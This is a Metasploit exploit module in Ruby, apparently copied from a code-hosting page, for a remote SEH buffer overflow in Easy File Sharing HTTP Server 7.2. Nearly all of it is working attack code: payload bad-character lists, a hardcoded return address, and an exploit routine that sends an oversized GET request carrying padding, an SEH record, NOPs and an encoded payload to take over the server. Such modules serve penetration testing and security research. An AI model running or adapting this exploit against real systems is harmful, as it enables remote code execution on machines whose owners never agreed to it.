Path: blob/master/modules/exploits/windows/http/easyfilesharing_seh.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow',16'Description' => %q{17This module exploits a SEH overflow in the Easy File Sharing FTP Server 7.2 software.18},19'Author' => 'Starwarsfan2099 <starwarsfan2099[at]gmail.com>',20'License' => MSF_LICENSE,21'References' => [22[ 'EDB', '39008' ],23],24'Privileged' => true,25'Payload' => {26'Space' => 390,27'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",28'StackAdjustment' => -3500,29},30'Platform' => 'win',31'Targets' => [32[ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x10019798 } ],33],34'DefaultOptions' => {35'RPORT' => 8036},37'DisclosureDate' => '2015-12-02',38'DefaultTarget' => 0,39'Notes' => {40'Reliability' => UNKNOWN_RELIABILITY,41'Stability' => UNKNOWN_STABILITY,42'SideEffects' => UNKNOWN_SIDE_EFFECTS43}44)45)46end4748def print_status(msg = '')49super("#{peer} - #{msg}")50end5152def exploit53connect54print_status("Sending exploit...")55sploit = "GET "56sploit << rand_text_alpha_upper(4061)57sploit << generate_seh_record(target.ret)58sploit << make_nops(19)59sploit << payload.encoded60sploit << make_nops(7)61sploit << rand_text_alpha_upper(4500 - 4061 - 4 - 4 - 20 - payload.encoded.length - 20)62sploit << " HTTP/1.0\r\n\r\n"63sock.put(sploit)64print_good("Exploit Sent")65handler66disconnect67end68end697071